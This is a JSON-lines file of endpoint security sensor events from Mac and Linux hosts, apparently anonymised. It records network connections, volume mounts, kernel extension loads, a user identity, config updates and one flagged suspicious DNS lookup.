-{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} -{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} -{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} -{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27